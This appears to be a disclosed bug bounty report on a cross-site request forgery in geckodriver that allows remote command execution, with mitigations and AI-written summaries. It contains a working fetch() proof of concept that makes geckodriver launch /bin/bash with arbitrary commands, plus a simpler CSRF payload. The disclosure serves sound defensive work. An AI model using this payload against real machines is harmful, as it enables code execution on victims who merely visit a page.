CSRF to RCE in geckodriver
geckodriver accepts session-creation requests with any Content-Type, so a malicious page can POST to the local WebDriver endpoint from another origin. Because the request can set the Firefox binary path and arguments, an attacker can run arbitrary system commands when no session is active.
Originally disclosed on Mozilla
- Fixed in 31 days
- Paid in 38 days
- Disclosed after 31 days
geckodriver is vulnerable to Cross-Site Request Forgery. While no WebDriver session is running, this can be used to execute arbitrary system commands (remote command execution) as demonstrated by this exploit:
fetch("http://localhost:4444/session", {
method: "POST",
mode: 'no-cors',
headers: {
'Content-Type': 'text/plain'
},
body: JSON.stringify({
"capabilities": {
"alwaysMatch": {
"moz:firefoxOptions": {
"binary": "/bin/bash",
"args": ["posix", "+n", "-c", 'bash -c "$1"', "bash", "xterm -e nyancat"]
}
}
}
}),
});
This vulnerability has been tested on:
- Mozilla Firefox 79.0a1
- geckodriver 0.26.0 (e9783a644016 2019-10-10 13:38 +0000)
- Debian testing
Cross-Site Request Forgery
By default, geckodriver listens on http://localhost:4444.
This prevents other machines from directly attacking the geckodriver
instance. However geckodriver is vulnerable to Cross-Site Request
Forgery attacks as demonstrated by:
fetch("http://localhost:4444/session", {
method: "POST",
mode: 'no-cors',
headers: {
'Content-Type': 'text/plain'
},
body: JSON.stringify({
"capabilities": {
"alwaysMatch": {}
}
};
});
When executed by the user's browser from another origin, this code spawns a new Firefox instance. This must happen while no WebDriver session is running in geckodriver as geckodriver rejects the creation of a second session.
The scope of this attack might seem limited because the attacker cannot easily interact with the created session. Acting on the session through CSRF is possible if the session ID is known but it is not easily possible for the attacker to find the session ID:
-
it cannot get the session ID from the geckodriver response;
-
it is very difficult to guess the session ID as it is a UUIDv4.
Remote Code Execution
It is however possible for the attacker to execute arbitrary commands with the session creation request.
Of particular interest are the following properties of moz:firefoxOptions [1]:
-
binarylets the attacker specify the path of the Firefox binary to execute; -
argslets the attacker specify a list of arguments to pass to this command; -
profilelets the attacker specify a profile directory (which could be used to load interesting extensions in the browser); -
prefslets the attacker set Firefox preferences; -
envlets the attacker set environment variables.
The actual command executed by geckodriver to create a browser is:
"$binary" -marionette "$args[@]" -foreground -no-remote -profile "$profile"
In order to execute arbitrary command we need to find a program which accepts
an initial -marionette argument and execute commands taken from $args
or from environment variables.
bash can used to execute arbitrary system commands
as demonstrated by the following exploit
which executes the xterm -e nyancat system command:
fetch("http://localhost:4444/session", {
method: "POST",
mode: 'no-cors',
headers: {
'Content-Type': 'text/plain'
},
body: JSON.stringify({
"capabilities": {
"alwaysMatch": {
"moz:firefoxOptions": {
"binary": "/bin/bash",
"args": ["posix", "+n", "-c", 'bash -c "$1"', "bash", "xterm -e nyancat"]
}
}
}
}),
});
The command executed by geckodriver is:
bash -marionnette posix +n -c 'bash -c "$1"' bash "xterm -e nyancat" \
-foreground -no-remote -profile "$profile"
The initial -marionette argument is interpreted as a serie of flags.
The only problematic ones are:
-
The
-rflag asks for a restricted shell. This might be problematic because it adds a number of restriction to the commands allowed. It is however easy to escape from this restricted shell by calling a new shell instance as is done in this example. -
The
-nflag asks to only parse the commands instead of executing them. This could be problematic but we can actually reverse it with+n. -
The
-oflags expects an option in the following argument. In this example, we set theposixoption.
Mitigations
Content-Type Validation
CSRF is possible because geckodriver accepts requests
with any Content-Type. Another origin can make POST
requests to geckodriver using the following content-types:
application/x-www-form-urlencoded,
multipart/form-data, text/plain.
geckodriver could fix this vulnerability by rejecting these content-types. geckodriver could even reject all requests which do not have a JSON content-type. This seems to be a violation of the WebDriver specification which does not mandate a JSON content-type for WebDriver POST requests.
It looks like this is a defect of the WebDriver specification which encourages CSRF attacks on WebDriver servers (a similar issue has been reported on another implementation). The specification should explicitely allow a server-side implementation of the WebDriver to reject dangerous content-types and should require the client-side to use a JSON content-type. Additionnaly, the security section of the WebDriver specification should probably mention the risks of CSRF attacks.
HTTP-level Authentication
An new command-line flag could be added to gekodriver in order to require some form of HTTP authentication. When enabled, this would prevent CSRF attacks as well as attacks from other users on the same host.
PF_LOCAL Socket
geckodriver could receive a new option to listen on a PF_LOCAL
socket. These sockets are normally not accessible by CSRF.
This could additionnaly be used to prevent other users
on the same machine from talking to the geckodriver instance.
References
[1] https://developer.mozilla.org/en-US/docs/Web/WebDriver/Capabilities/firefoxOptions#firefoxOptions
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely geckodriver performs no origin or Content-Type validation on session-creation requests and passes attacker-controlled binary and argument values straight to process execution.
Impact
An attacker could run arbitrary commands on the user's machine, but only while no WebDriver session is already running, and the attacker cannot easily read the session ID to control the spawned browser.
What the attacker needed
Geckodriver running on localhost; no active WebDriver session; victim visits attacker page
The fix
geckodriver should reject non-JSON content types and ideally require HTTP-level authentication or listen on a local socket instead of a TCP port.
How it was found
- Open a page on another origin while geckodriver is running with no active session.
- Send a POST to the local session endpoint with a simple content type.
- Include Firefox options that set the binary to a shell and supply arguments.
- geckodriver launches the chosen binary with the supplied arguments, running the command.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
geckodriver is a small helper program that lets test tools drive Firefox; it listens on the local machine only. A website you visit can still send requests to that local address, and because geckodriver does not check where the request came from or what format it is in, the site can ask it to start a program of its choosing. That turns a harmless-looking web page into a way to run commands on your computer.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.